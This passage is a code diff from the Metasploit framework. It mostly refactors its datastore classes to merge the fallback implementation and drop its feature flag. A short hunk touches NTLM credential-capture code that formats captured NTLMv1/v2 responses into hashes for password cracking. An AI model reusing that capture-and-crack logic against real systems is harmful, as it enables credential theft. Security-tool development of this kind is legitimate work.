return shell_write(cmd[1..-1] + command_termination)
else
return run_builtin_cmd(method, arguments)
end
end
# User input is not a built-in command, write to socket directly
+292 -97
View File
@@ -3,40 +3,61 @@ module Msf
###
#
# The data store is just a bitbucket that holds keyed values. It is used
# The data store is just a bitbucket that holds keyed values. It is used
# by various classes to hold option values and other state information.
#
###
class DataStore < Hash
class DataStore
# Temporary forking logic for conditionally using the {Msf::ModuleDatastoreWithFallbacks} implementation.
# The global framework datastore doesn't currently import options
# For now, store an ad-hoc list of keys that the shell handles
#
# This method replaces the default `ModuleDataStore.new` with the ability to instantiate the `ModuleDataStoreWithFallbacks`
# class instead, if the feature is enabled
def self.new
if Msf::FeatureManager.instance.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS)
return Msf::DataStoreWithFallbacks.new
end
instance = allocate
instance.send(:initialize)
instance
end
# This list could be removed if framework's bootup sequence registers
# these as datastore options
GLOBAL_KEYS = %w[
ConsoleLogging
LogLevel
MinimumRank
SessionLogging
TimestampOutput
Prompt
PromptChar
PromptTimeFormat
MeterpreterPrompt
SessionTlvLogging
]
#
# Initializes the data store's internal state.
#
def initialize()
def initialize
@options = Hash.new
@aliases = Hash.new
@imported = Hash.new
@imported_by = Hash.new
# default values which will be referenced when not defined by the user
@defaults = Hash.new
# values explicitly defined, which take precedence over default values
@user_defined = Hash.new
end
# @return [Hash{String => Msf::OptBase}] The options associated with this datastore. Used for validating values/defaults/etc
attr_accessor :options
attr_accessor :aliases
attr_accessor :imported
attr_accessor :imported_by
#
# Returns a hash of user-defined datastore values. The returned hash does
# not include default option values.
#
# @return [Hash<String, Object>] values explicitly defined on the data store which will override any default datastore values
attr_accessor :user_defined
#
# Was this entry actually set or just using its default
#
# @return [TrueClass, FalseClass]
def default?(key)
search_for(key).default?
end
#
# Clears the imported flag for the supplied key since it's being set
@@ -44,8 +65,6 @@ class DataStore < Hash
#
def []=(k, v)
k = find_key_case(k)
@imported[k] = false
@imported_by[k] = nil
opt = @options[k]
unless opt.nil?
@@ -57,49 +76,76 @@ class DataStore < Hash
end
end
super(k,v)
@user_defined[k] = v
end
#
# Case-insensitive wrapper around hash lookup
#
def [](k)
super(find_key_case(k))
search_result = search_for(k)
search_result.value
end
#
# Case-insensitive wrapper around store
# Case-insensitive wrapper around store; Skips option validation entirely
#
def store(k,v)
super(find_key_case(k), v)
@user_defined[find_key_case(k)] = v
end
#
# Case-insensitive wrapper around delete
#
def delete(k)
@aliases.delete_if { |_, v| v.casecmp(k) == 0 }
super(find_key_case(k))
end
#
# Updates a value in the datastore with the specified name, k, to the
# specified value, v. This update does not alter the imported status of
# the value.
# specified value, v. Skips option validation entirely.
#
def update_value(k, v)
self.store(k, v)
store(k, v)
end
#
# unset the current key from the datastore
# @param [String] key The key to search for
def unset(key)
k = find_key_case(key)
search_result = search_for(k)
@user_defined.delete(k)
search_result.value
end
# @deprecated use #{unset} instead, or set the value explicitly to nil
# @param [String] key The key to search for
def delete(key)
unset(key)
end
#
# Removes an option and any associated value
#
# @param [String] name the option name
# @return [nil]
def remove_option(name)
k = find_key_case(name)
@user_defined.delete(k)
@aliases.delete_if { |_, v| v.casecmp?(k) }
@options.delete_if { |option_name, _v| option_name.casecmp?(k) || option_name.casecmp?(name) }
nil
end
#
# This method is a helper method that imports the default value for
# all of the supplied options
#
def import_options(options, imported_by = nil, overwrite = false)
options.each_option do |name, opt|
if self[name].nil? || overwrite
import_option(name, opt.default, true, imported_by, opt)
def import_options(options, imported_by = nil, overwrite = true)
options.each_option do |name, option|
if self.options[name].nil? || overwrite
key = name
option.aliases.each do |a|
@aliases[a.downcase] = key.downcase
end
@options[key] = option
end
end
end
@@ -142,22 +188,32 @@ class DataStore < Hash
hash[var] = val
}
import_options_from_hash(hash)
merge!(hash)
end
#
# Imports options from a hash and stores them in the datastore.
# Imports values from a hash and stores them in the datastore.
#
# @deprecated use {#merge!} instead
# @return [nil]
def import_options_from_hash(option_hash, imported = true, imported_by = nil)
option_hash.each_pair { |key, val|
import_option(key, val, imported, imported_by)
}
merge!(option_hash)
end
# Update defaults from a hash. These merged values are not validated by default.
#
# @param [Hash<String, Object>] hash The default values that should be used by the datastore
# @param [Object] imported_by Who imported the defaults, not currently used
# @return [nil]
def import_defaults_from_hash(hash, imported_by:)
@defaults.merge!(hash)
end
# TODO: Doesn't normalize data in the same vein as:
# https://github.com/rapid7/metasploit-framework/pull/6644
# @deprecated Use {#import_options}
def import_option(key, val, imported = true, imported_by = nil, option = nil)
self.store(key, val)
store(key, val)
if option
option.aliases.each do |a|
@@ -165,10 +221,32 @@ class DataStore < Hash
end
end
@options[key] = option
@imported[key] = imported
@imported_by[key] = imported_by
end
# @return [Array<String>] The array of user defined datastore values, and registered option names
def keys
(@user_defined.keys + @options.keys).uniq(&:downcase)
end
# @return [Integer] The length of the registered keys
def length
keys.length
end
alias count length
alias size length
# @param [String] key
# @return [TrueClass, FalseClass] True if the key is present in the user defined values, or within registered options. False otherwise.
def key?(key)
matching_key = find_key_case(key)
keys.include?(matching_key)
end
alias has_key? key?
alias include? key?
alias member? key?
#
# Serializes the options in the datastore to a string.
#
@@ -179,7 +257,7 @@ class DataStore < Hash
str << "#{key}=#{self[key]}" + ((str.length) ? delim : '')
}
return str
str
end
# Override Hash's to_h method so we can include the original case of each key
@@ -225,7 +303,7 @@ class DataStore < Hash
ini.add_group(name)
# Save all user-defined options to the file.
user_defined.each_pair { |k, v|
@user_defined.each_pair { |k, v|
ini[name][k] = v
}
@@ -243,73 +321,73 @@ class DataStore < Hash
return
end
if (ini.group?(name))
import_options_from_hash(ini[name], false)
if ini.group?(name)
merge!(ini[name])
end
end
#
# Return a deep copy of this datastore.
#
# Return a copy of this datastore. Only string values will be duplicated, other values
# will share the same reference
# @return [Msf::DataStore] a new datastore instance
def copy
ds = self.class.new
self.keys.each do |k|
ds.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k])
end
ds.aliases = self.aliases.dup
ds
new_instance = self.class.new
new_instance.copy_state(self)
new_instance
end
#
# Override merge! so that we merge the aliases and imported hashes
# Merge the other object into the current datastore's aliases and imported hashes
#
# @param [Msf::Datastore, Hash] other
def merge!(other)
if other.is_a? DataStore
if other.is_a?(DataStore)
self.aliases.merge!(other.aliases)
self.imported.merge!(other.imported)
self.imported_by.merge!(other.imported_by)
self.options.merge!(other.options)
self.defaults.merge!(other.defaults)
other.user_defined.each do |k, v|
@user_defined[find_key_case(k)] = v
end
else
other.each do |k, v|
self.store(k, v)
end
end
# call super last so that we return a reference to ourselves
super
self
end
alias update merge!
#
# Reverse Merge the other object into the current datastore's aliases and imported hashes
# Equivalent to ActiveSupport's reverse_merge! functionality.
#
# @param [Msf::Datastore] other
def reverse_merge!(other)
raise ArgumentError, "invalid error type #{other.class}, expected ::Msf::DataStore" unless other.is_a?(Msf::DataStore)
copy_state(other.merge(self))
end
#
# Override merge to ensure we merge the aliases and imported hashes
#
# @param [Msf::Datastore,Hash] other
def merge(other)
ds = self.copy
ds.merge!(other)
end
#
# Returns a hash of user-defined datastore values. The returned hash does
# not include default option values.
#
def user_defined
reject { |k, v|
@imported[k] == true
}
end
#
# Remove all imported options from the data store.
#
def clear_non_user_defined
@imported.delete_if { |k, v|
if (v and @imported_by[k] != 'self')
self.delete(k)
@imported_by.delete(k)
end
v
}
end
#
# Completely clear all values in the hash
# Completely clear all values in the data store
#
def clear
self.keys.each {|k| self.delete(k) }
self.options.clear
self.aliases.clear
self.defaults.clear
self.user_defined.clear
self
end
@@ -325,28 +403,145 @@ class DataStore < Hash
list.each(&block)
end
alias each_pair each
def each_key(&block)
self.keys.each(&block)
end
#
# Case-insensitive key lookup
#
# @return [String]
def find_key_case(k)
# Scan each alias looking for a key
search_k = k.downcase
if self.aliases.has_key?(search_k)
search_k = self.aliases[search_k]
end
# Check to see if we have an exact key match - otherwise we'll have to search manually to check case sensitivity
if @user_defined.key?(search_k) || options.key?(search_k)
return search_k
end
# Scan each key looking for a match
self.each_key do |rk|
each_key do |rk|
if rk.casecmp(search_k) == 0
return rk
end
end
# Fall through to the non-existent value
return k
k
end
# Search for a value within the current datastore, taking into consideration any registered aliases, fallbacks, etc.
#
# @param [String] key The key to search for
# @return [DataStoreSearchResult]
def search_for(key)
k = find_key_case(key)
return search_result(:user_defined, @user_defined[k]) if @user_defined.key?(k)
option = @options.fetch(k) { @options.find { |option_name, _option| option_name.casecmp?(k) }&.last }
if option
# If the key isn't present - check any additional fallbacks that have been registered with the option.
# i.e. handling the scenario of SMBUser not being explicitly set, but the option has registered a more
# generic 'Username' fallback
option.fallbacks.each do |fallback|
fallback_search = search_for(fallback)
if fallback_search.found?
return search_result(:option_fallback, fallback_search.value, fallback_key: fallback)
end
end
end
# Checking for imported default values, ignoring case again
imported_default_match = @defaults.find { |default_key, _default_value| default_key.casecmp?(k) }
return search_result(:imported_default, imported_default_match.last) if imported_default_match
return search_result(:option_default, option.default) if option
search_result(:not_found, nil)
end
protected
# These defaults will be used if the user has not explicitly defined a specific datastore value.
# These will be checked as a priority to any options that also provide defaults.
#
# @return [Hash{String => Msf::OptBase}] The hash of default values
attr_accessor :defaults
# @return [Hash{String => String}] The key is the old option name, the value is the new option name
attr_accessor :aliases
#
# Copy the state from the other Msf::DataStore. The state will be coped in a shallow fashion, other than
# imported and user_defined strings.
#
# @param [Msf::DataStore] other The other datastore to copy state from
# @return [Msf::DataStore] the current datastore instance
def copy_state(other)
self.options = other.options.dup
self.aliases = other.aliases.dup
self.defaults = other.defaults.transform_values { |value| value.kind_of?(String) ? value.dup : value }
self.user_defined = other.user_defined.transform_values { |value| value.kind_of?(String) ? value.dup : value }
self
end
# Raised when the specified key is not found
# @param [string] key
def key_error_for(key)
::KeyError.new "key not found: #{key.inspect}"
end
#
# Simple dataclass for storing the result of a datastore search
#
class DataStoreSearchResult
# @return [String, nil] the key associated with the fallback value
attr_reader :fallback_key
# @return [object, nil] The value if found
attr_reader :value
def initialize(result, value, namespace: nil, fallback_key: nil)
@namespace = namespace
@result = result
@value = value
@fallback_key = fallback_key
end
def default?
result == :imported_default || result == :option_default || !found?
end
def found?
result != :not_found
end
def fallback?
result == :option_fallback
end
def global?
namespace == :global_data_store && found?
end
protected
# @return [Symbol] namespace Where the search result was found, i.e. a module datastore or global datastore
attr_reader :namespace
# @return [Symbol] result is one of `user_defined`, `not_found`, `option_fallback`, `option_default`, `imported_default`
attr_reader :result
end
def search_result(result, value, fallback_key: nil)
DataStoreSearchResult.new(result, value, namespace: :global_data_store, fallback_key: fallback_key)
end
end
end
-547
View File
@@ -1,547 +0,0 @@
# -*- coding: binary -*-
module Msf
###
#
# The data store is just a bitbucket that holds keyed values. It is used
# by various classes to hold option values and other state information.
#
###
class DataStoreWithFallbacks
# The global framework datastore doesn't currently import options
# For now, store an ad-hoc list of keys that the shell handles
#
# This list could be removed if framework's bootup sequence registers
# these as datastore options
GLOBAL_KEYS = %w[
ConsoleLogging
LogLevel
MinimumRank
SessionLogging
TimestampOutput
Prompt
PromptChar
PromptTimeFormat
MeterpreterPrompt
SessionTlvLogging
]
#
# Initializes the data store's internal state.
#
def initialize
@options = Hash.new
@aliases = Hash.new
# default values which will be referenced when not defined by the user
@defaults = Hash.new
# values explicitly defined, which take precedence over default values
@user_defined = Hash.new
end
# @return [Hash{String => Msf::OptBase}] The options associated with this datastore. Used for validating values/defaults/etc
attr_accessor :options
#
# Returns a hash of user-defined datastore values. The returned hash does
# not include default option values.
#
# @return [Hash<String, Object>] values explicitly defined on the data store which will override any default datastore values
attr_accessor :user_defined
#
# Was this entry actually set or just using its default
#
# @return [TrueClass, FalseClass]
def default?(key)
search_for(key).default?
end
#
# Clears the imported flag for the supplied key since it's being set
# directly.
#
def []=(k, v)
k = find_key_case(k)
opt = @options[k]
unless opt.nil?
if opt.validate_on_assignment?
unless opt.valid?(v, check_empty: false)
raise Msf::OptionValidateError.new(["Value '#{v}' is not valid for option '#{k}'"])
end
v = opt.normalize(v)
end
end
@user_defined[k] = v
end
#
# Case-insensitive wrapper around hash lookup
#
def [](k)
search_result = search_for(k)
search_result.value
end
#
# Case-insensitive wrapper around store; Skips option validation entirely
#
def store(k,v)
@user_defined[find_key_case(k)] = v
end
#
# Updates a value in the datastore with the specified name, k, to the
# specified value, v. Skips option validation entirely.
#
def update_value(k, v)
store(k, v)
end
#
# unset the current key from the datastore
# @param [String] key The key to search for
def unset(key)
k = find_key_case(key)
search_result = search_for(k)
@user_defined.delete(k)
search_result.value
end
# @deprecated use #{unset} instead, or set the value explicitly to nil
# @param [String] key The key to search for
def delete(key)
unset(key)
end
#
# Removes an option and any associated value
#
# @param [String] name the option name
# @return [nil]
def remove_option(name)
k = find_key_case(name)
@user_defined.delete(k)
@aliases.delete_if { |_, v| v.casecmp?(k) }
@options.delete_if { |option_name, _v| option_name.casecmp?(k) || option_name.casecmp?(name) }
nil
end
#
# This method is a helper method that imports the default value for
# all of the supplied options
#
def import_options(options, imported_by = nil, overwrite = true)
options.each_option do |name, option|
if self.options[name].nil? || overwrite
key = name
option.aliases.each do |a|
@aliases[a.downcase] = key.downcase
end
@options[key] = option
end
end
end
#
# Imports option values from a whitespace separated string in
# VAR=VAL format.
#
def import_options_from_s(option_str, delim = nil)
hash = {}
# Figure out the delimiter, default to space.
if (delim.nil?)
delim = /\s/
if (option_str.split('=').length <= 2 or option_str.index(',') != nil)
delim = ','
end
end
# Split on the delimiter
option_str.split(delim).each { |opt|
var, val = opt.split('=', 2)
next if (var =~ /^\s+$/)
# Invalid parse? Raise an exception and let those bastards know.
if (var == nil or val == nil)
var = "unknown" if (!var)
raise Rex::ArgumentParseError, "Invalid option specified: #{var}",
caller
end
# Remove trailing whitespaces from the value
val.gsub!(/\s+$/, '')
# Store the value
hash[var] = val
}
merge!(hash)
end
#
# Imports values from a hash and stores them in the datastore.
#
# @deprecated use {#merge!} instead
# @return [nil]
def import_options_from_hash(option_hash, imported = true, imported_by = nil)
merge!(option_hash)
end
# Update defaults from a hash. These merged values are not validated by default.
#
# @param [Hash<String, Object>] hash The default values that should be used by the datastore
# @param [Object] imported_by Who imported the defaults, not currently used
# @return [nil]
def import_defaults_from_hash(hash, imported_by:)
@defaults.merge!(hash)
end
# TODO: Doesn't normalize data in the same vein as:
# https://github.com/rapid7/metasploit-framework/pull/6644
# @deprecated Use {#import_options}
def import_option(key, val, imported = true, imported_by = nil, option = nil)
store(key, val)
if option
option.aliases.each do |a|
@aliases[a.downcase] = key.downcase
end
end
@options[key] = option
end
# @return [Array<String>] The array of user defined datastore values, and registered option names
def keys
(@user_defined.keys + @options.keys).uniq(&:downcase)
end
# @return [Integer] The length of the registered keys
def length
keys.length
end
alias count length
alias size length
# @param [String] key
# @return [TrueClass, FalseClass] True if the key is present in the user defined values, or within registered options. False otherwise.
def key?(key)
matching_key = find_key_case(key)
keys.include?(matching_key)
end
alias has_key? key?
alias include? key?
alias member? key?
#
# Serializes the options in the datastore to a string.
#
def to_s(delim = ' ')
str = ''
keys.sort.each { |key|
str << "#{key}=#{self[key]}" + ((str.length) ? delim : '')
}
str
end
# Override Hash's to_h method so we can include the original case of each key
# (failing to do this breaks a number of places in framework and pro that use
# serialized datastores)
def to_h
datastore_hash = {}
self.keys.each do |k|
datastore_hash[k.to_s] = self[k].to_s
end
datastore_hash
end
# Hack on a hack for the external modules
def to_external_message_h
datastore_hash = {}
array_nester = ->(arr) do
if arr.first.is_a? Array
arr.map &array_nester
else
arr.map { |item| item.to_s.dup.force_encoding('UTF-8') }
end
end
self.keys.each do |k|
# TODO arbitrary depth
if self[k].is_a? Array
datastore_hash[k.to_s.dup.force_encoding('UTF-8')] = array_nester.call(self[k])
else
datastore_hash[k.to_s.dup.force_encoding('UTF-8')] = self[k].to_s.dup.force_encoding('UTF-8')
end
end
datastore_hash
end
#
# Persists the contents of the data store to a file
#
def to_file(path, name = 'global')
ini = Rex::Parser::Ini.new(path)
ini.add_group(name)
# Save all user-defined options to the file.
@user_defined.each_pair { |k, v|
ini[name][k] = v
}
ini.to_file(path)
end
#
# Imports datastore values from the specified file path using the supplied
# name
#
def from_file(path, name = 'global')
begin
ini = Rex::Parser::Ini.from_file(path)
rescue
return
end
if ini.group?(name)
merge!(ini[name])
end
end
#
# Return a copy of this datastore. Only string values will be duplicated, other values
# will share the same reference
# @return [Msf::DataStore] a new datastore instance
def copy
new_instance = self.class.new
new_instance.copy_state(self)
new_instance
end
#
# Merge the other object into the current datastore's aliases and imported hashes
#
# @param [Msf::Datastore, Hash] other
def merge!(other)
if other.is_a?(DataStoreWithFallbacks)
self.aliases.merge!(other.aliases)
self.options.merge!(other.options)
self.defaults.merge!(other.defaults)
other.user_defined.each do |k, v|
@user_defined[find_key_case(k)] = v
end
else
other.each do |k, v|
self.store(k, v)
end
end
self
end
alias update merge!
#
# Reverse Merge the other object into the current datastore's aliases and imported hashes
# Equivalent to ActiveSupport's reverse_merge! functionality.
#
# @param [Msf::Datastore] other
def reverse_merge!(other)
raise ArgumentError, "invalid error type #{other.class}, expected ::Msf::DataStore" unless other.is_a?(Msf::DataStoreWithFallbacks)
copy_state(other.merge(self))
end
#
# Override merge to ensure we merge the aliases and imported hashes
#
# @param [Msf::Datastore,Hash] other
def merge(other)
ds = self.copy
ds.merge!(other)
end
#
# Completely clear all values in the data store
#
def clear
self.options.clear
self.aliases.clear
self.defaults.clear
self.user_defined.clear
self
end
#
# Overrides the builtin 'each' operator to avoid the following exception on Ruby 1.9.2+
# "can't add a new key into hash during iteration"
#
def each(&block)
list = []
self.keys.sort.each do |sidx|
list << [sidx, self[sidx]]
end
list.each(&block)
end
alias each_pair each
def each_key(&block)
self.keys.each(&block)
end
#
# Case-insensitive key lookup
#
# @return [String]
def find_key_case(k)
# Scan each alias looking for a key
search_k = k.downcase
if self.aliases.has_key?(search_k)
search_k = self.aliases[search_k]
end
# Check to see if we have an exact key match - otherwise we'll have to search manually to check case sensitivity
if @user_defined.key?(search_k) || options.key?(search_k)
return search_k
end
# Scan each key looking for a match
each_key do |rk|
if rk.casecmp(search_k) == 0
return rk
end
end
# Fall through to the non-existent value
k
end
# Search for a value within the current datastore, taking into consideration any registered aliases, fallbacks, etc.
#
# @param [String] key The key to search for
# @return [DataStoreSearchResult]
def search_for(key)
k = find_key_case(key)
return search_result(:user_defined, @user_defined[k]) if @user_defined.key?(k)
option = @options.fetch(k) { @options.find { |option_name, _option| option_name.casecmp?(k) }&.last }
if option
# If the key isn't present - check any additional fallbacks that have been registered with the option.
# i.e. handling the scenario of SMBUser not being explicitly set, but the option has registered a more
# generic 'Username' fallback
option.fallbacks.each do |fallback|
fallback_search = search_for(fallback)
if fallback_search.found?
return search_result(:option_fallback, fallback_search.value, fallback_key: fallback)
end
end
end
# Checking for imported default values, ignoring case again
imported_default_match = @defaults.find { |default_key, _default_value| default_key.casecmp?(k) }
return search_result(:imported_default, imported_default_match.last) if imported_default_match
return search_result(:option_default, option.default) if option
search_result(:not_found, nil)
end
protected
# These defaults will be used if the user has not explicitly defined a specific datastore value.
# These will be checked as a priority to any options that also provide defaults.
#
# @return [Hash{String => Msf::OptBase}] The hash of default values
attr_accessor :defaults
# @return [Hash{String => String}] The key is the old option name, the value is the new option name
attr_accessor :aliases
#
# Copy the state from the other Msf::DataStore. The state will be coped in a shallow fashion, other than
# imported and user_defined strings.
#
# @param [Msf::DataStore] other The other datastore to copy state from
# @return [Msf::DataStore] the current datastore instance
def copy_state(other)
self.options = other.options.dup
self.aliases = other.aliases.dup
self.defaults = other.defaults.transform_values { |value| value.kind_of?(String) ? value.dup : value }
self.user_defined = other.user_defined.transform_values { |value| value.kind_of?(String) ? value.dup : value }
self
end
# Raised when the specified key is not found
# @param [string] key
def key_error_for(key)
::KeyError.new "key not found: #{key.inspect}"
end
#
# Simple dataclass for storing the result of a datastore search
#
class DataStoreSearchResult
# @return [String, nil] the key associated with the fallback value
attr_reader :fallback_key
# @return [object, nil] The value if found
attr_reader :value
def initialize(result, value, namespace: nil, fallback_key: nil)
@namespace = namespace
@result = result
@value = value
@fallback_key = fallback_key
end
def default?
result == :imported_default || result == :option_default || !found?
end
def found?
result != :not_found
end
def fallback?
result == :option_fallback
end
def global?
namespace == :global_data_store && found?
end
protected
# @return [Symbol] namespace Where the search result was found, i.e. a module datastore or global datastore
attr_reader :namespace
# @return [Symbol] result is one of `user_defined`, `not_found`, `option_fallback`, `option_default`, `imported_default`
attr_reader :result
end
def search_result(result, value, fallback_key: nil)
DataStoreSearchResult.new(result, value, namespace: :global_data_store, fallback_key: fallback_key)
end
end
end
@@ -54,12 +54,14 @@ module Msf
case ntlm_message.ntlm_version
when :ntlmv1, :ntlm2_session
hash_type = 'NTLMv1-SSP'
jtr_format = Metasploit::Framework::Hashes::JTR_NTLMV1
client_hash = "#{bin_to_hex(ntlm_message.lm_response)}:#{bin_to_hex(ntlm_message.ntlm_response)}"
combined_hash << ":#{client_hash}"
combined_hash << ":#{bin_to_hex(challenge)}"
when :ntlmv2
hash_type = 'NTLMv2-SSP'
jtr_format = Metasploit::Framework::Hashes::JTR_NTLMV2
client_hash = "#{bin_to_hex(ntlm_message.ntlm_response[0...16])}:#{bin_to_hex(ntlm_message.ntlm_response[16..-1])}"
combined_hash << ":#{bin_to_hex(challenge)}"
@@ -68,8 +70,6 @@ module Msf
return if hash_type.nil?
jtr_format = ntlm_message.ntlm_version == :ntlmv1 ? Metasploit::Framework::Hashes::JTR_NTLMV1 : Metasploit::Framework::Hashes::JTR_NTLMV2
if active_db?
origin = create_credential_origin_service(
{
-8
View File
@@ -15,7 +15,6 @@ module Msf
CONFIG_KEY = 'framework/features'
WRAPPED_TABLES = 'wrapped_tables'
DATASTORE_FALLBACKS = 'datastore_fallbacks'
FULLY_INTERACTIVE_SHELLS = 'fully_interactive_shells'
MANAGER_COMMANDS = 'manager_commands'
METASPLOIT_PAYLOAD_WARNINGS = 'metasploit_payload_warnings'
@@ -49,13 +48,6 @@ module Msf
default_value: false,
developer_notes: 'Useful for developers, likely not to ever be useful for an average user'
}.freeze,
{
name: DATASTORE_FALLBACKS,
description: 'When enabled you can consistently set username across modules, instead of setting SMBUser/FTPUser/BIND_DN/etc',
requires_restart: true,
default_value: true,
developer_notes: 'This functionality is enabled by default now, and the feature flag can be removed now'
}.freeze,
{
name: METASPLOIT_PAYLOAD_WARNINGS,
description: 'When enabled Metasploit will output warnings about missing Metasploit payloads, for instance if they were removed by antivirus etc',
+1 -1
View File
@@ -136,7 +136,7 @@ module Msf
self.options.add_evasion_options(info['EvasionOptions'], self.class)
# Create and initialize the data store for this module
self.datastore = ModuleDataStore.new(self)
self.datastore = Msf::ModuleDataStore.new(self)
# Import default options into the datastore
import_defaults
+2 -2
View File
@@ -21,7 +21,7 @@ module Msf::Module::DataStore
# If there are default options, import their values into the datastore
if (module_info['DefaultOptions'])
if datastore.is_a?(Msf::DataStoreWithFallbacks)
if datastore.is_a?(Msf::DataStore)
self.datastore.import_defaults_from_hash(module_info['DefaultOptions'], imported_by: 'import_defaults')
else
self.datastore.import_options_from_hash(module_info['DefaultOptions'], true, 'self')
@@ -38,7 +38,7 @@ module Msf::Module::DataStore
def import_target_defaults
return unless defined?(targets) && targets && target && target.default_options
if self.datastore.is_a?(Msf::ModuleDataStoreWithFallbacks)
if self.datastore.is_a?(Msf::ModuleDataStore)
datastore.import_defaults_from_hash(target.default_options, imported_by: 'import_target_defaults')
else
datastore.import_options_from_hash(target.default_options, true, 'self')
+1 -1
View File
@@ -30,7 +30,7 @@ module Msf::Module::Options
def deregister_options(*names)
names.each { |name|
real_name = self.datastore.find_key_case(name)
if self.datastore.is_a?(Msf::DataStoreWithFallbacks)
if self.datastore.is_a?(Msf::DataStore)
self.datastore.remove_option(name)
else
self.datastore.delete(name)
+56 -57
View File
@@ -10,20 +10,7 @@ module Msf
###
class ModuleDataStore < DataStore
# Temporary forking logic for conditionally using the {Msf::ModuleDatastoreWithFallbacks} implementation.
#
# This method replaces the default `ModuleDataStore.new` with the ability to instantiate the `ModuleDataStoreWithFallbacks`
# class instead, if the feature is enabled
def self.new(m)
if Msf::FeatureManager.instance.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS)
return Msf::ModuleDataStoreWithFallbacks.new(m)
end
instance = allocate
instance.send(:initialize, m)
instance
end
# @param [Msf::Module] m
def initialize(m)
super()
@@ -31,51 +18,63 @@ module Msf
end
#
# Fetch the key from the local hash first, or from the framework datastore
# if we can't directly find it
#
def fetch(key)
key = find_key_case(key)
val = nil
val = super if(@imported_by[key] != 'self')
if (val.nil? and @_module and @_module.framework)
val = @_module.framework.datastore[key]
end
val = super if val.nil?
val
end
#
# Same as fetch
#
def [](key)
key = find_key_case(key)
val = nil
val = super if(@imported_by[key] != 'self')
if (val.nil? and @_module and @_module.framework)
val = @_module.framework.datastore[key]
end
val = super if val.nil?
val
end
#
# Was this entry actually set or just using its default
#
def default?(key)
(@imported_by[key] == 'self')
end
#
# Return a deep copy of this datastore.
#
# Return a copy of this datastore. Only string values will be duplicated, other values
# will share the same reference
# @return [Msf::DataStore] a new datastore instance
def copy
ds = self.class.new(@_module)
self.keys.each do |k|
ds.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k])
new_instance = self.class.new(@_module)
new_instance.copy_state(self)
new_instance
end
# Search for a value within the current datastore, taking into consideration any registered aliases, fallbacks, etc.
# If a value is not present in the current datastore, the global parent store will be referenced instead
#
# @param [String] key The key to search for
# @return [DataStoreSearchResult]
def search_for(key)
k = find_key_case(key)
return search_result(:user_defined, @user_defined[k]) if @user_defined.key?(k)
# Preference globally set values over a module's option default
framework_datastore_search = search_framework_datastore(key)
return framework_datastore_search if framework_datastore_search.found? && !framework_datastore_search.default?
option = @options.fetch(k) { @options.find { |option_name, _option| option_name.casecmp?(k) }&.last }
if option
# If the key isn't present - check any additional fallbacks that have been registered with the option.
# i.e. handling the scenario of SMBUser not being explicitly set, but the option has registered a more
# generic 'Username' fallback
option.fallbacks.each do |fallback|
fallback_search = search_for(fallback)
if fallback_search.found?
return search_result(:option_fallback, fallback_search.value, fallback_key: fallback)
end
end
end
ds.aliases = self.aliases.dup
ds
# Checking for imported default values, ignoring case again TODO: add Alias test for this
imported_default_match = @defaults.find { |default_key, _default_value| default_key.casecmp?(k) }
return search_result(:imported_default, imported_default_match.last) if imported_default_match
return search_result(:option_default, option.default) if option
search_framework_datastore(k)
end
protected
# Search the framework datastore
#
# @param [String] key The key to search for
# @return [DataStoreSearchResult]
def search_framework_datastore(key)
return search_result(:not_found, nil) if @_module&.framework.nil?
@_module.framework.datastore.search_for(key)
end
def search_result(result, value, fallback_key: nil)
DataStoreSearchResult.new(result, value, namespace: :module_data_store, fallback_key: fallback_key)
end
end
end
@@ -1,80 +0,0 @@
# -*- coding: binary -*-
module Msf
###
#
# DataStore wrapper for modules that will attempt to back values against the
# framework's datastore if they aren't found in the module's datastore. This
# is done to simulate global data store values.
#
###
class ModuleDataStoreWithFallbacks < DataStoreWithFallbacks
# @param [Msf::Module] m
def initialize(m)
super()
@_module = m
end
#
# Return a copy of this datastore. Only string values will be duplicated, other values
# will share the same reference
# @return [Msf::DataStore] a new datastore instance
def copy
new_instance = self.class.new(@_module)
new_instance.copy_state(self)
new_instance
end
# Search for a value within the current datastore, taking into consideration any registered aliases, fallbacks, etc.
# If a value is not present in the current datastore, the global parent store will be referenced instead
#
# @param [String] key The key to search for
# @return [DataStoreSearchResult]
def search_for(key)
k = find_key_case(key)
return search_result(:user_defined, @user_defined[k]) if @user_defined.key?(k)
# Preference globally set values over a module's option default
framework_datastore_search = search_framework_datastore(key)
return framework_datastore_search if framework_datastore_search.found? && !framework_datastore_search.default?
option = @options.fetch(k) { @options.find { |option_name, _option| option_name.casecmp?(k) }&.last }
if option
# If the key isn't present - check any additional fallbacks that have been registered with the option.
# i.e. handling the scenario of SMBUser not being explicitly set, but the option has registered a more
# generic 'Username' fallback
option.fallbacks.each do |fallback|
fallback_search = search_for(fallback)
if fallback_search.found?
return search_result(:option_fallback, fallback_search.value, fallback_key: fallback)
end
end
end
# Checking for imported default values, ignoring case again TODO: add Alias test for this
imported_default_match = @defaults.find { |default_key, _default_value| default_key.casecmp?(k) }
return search_result(:imported_default, imported_default_match.last) if imported_default_match
return search_result(:option_default, option.default) if option
search_framework_datastore(k)
end
protected
# Search the framework datastore
#
# @param [String] key The key to search for
# @return [DataStoreSearchResult]
def search_framework_datastore(key)
return search_result(:not_found, nil) if @_module&.framework.nil?
@_module.framework.datastore.search_for(key)
end
def search_result(result, value, fallback_key: nil)
DataStoreSearchResult.new(result, value, namespace: :module_data_store, fallback_key: fallback_key)
end
end
end
+1 -1
View File
@@ -27,7 +27,7 @@ class MetasploitModule < Msf::Auxiliary
def run_batch(ips)
datastore.delete('RHOSTS')
datastore.remove_option('RHOSTS') if self.datastore.is_a?(Msf::DataStoreWithFallbacks)
datastore.remove_option('RHOSTS') if self.datastore.is_a?(Msf::DataStore)
datastore['rhosts'] = ips
execute_module(<%= meta[:path] %>)
@@ -24,7 +24,7 @@ class MetasploitModule < Msf::Auxiliary
def run_host(ip)
print_status("Running for #{ip}...")
rhost = datastore.delete('RHOST')
datastore.remove_option('RHOST') if self.datastore.is_a?(Msf::DataStoreWithFallbacks)
datastore.remove_option('RHOST') if self.datastore.is_a?(Msf::DataStore)
datastore['rhost'] = rhost
datastore['userpass'] ||= build_credentials_array
datastore['sleep_interval'] ||= userpass_interval
+1 -1
View File
@@ -23,7 +23,7 @@ class MetasploitModule < Msf::Auxiliary
def run_host(ip)
print_status("Running for #{ip}...")
rhost = datastore.delete('RHOST')
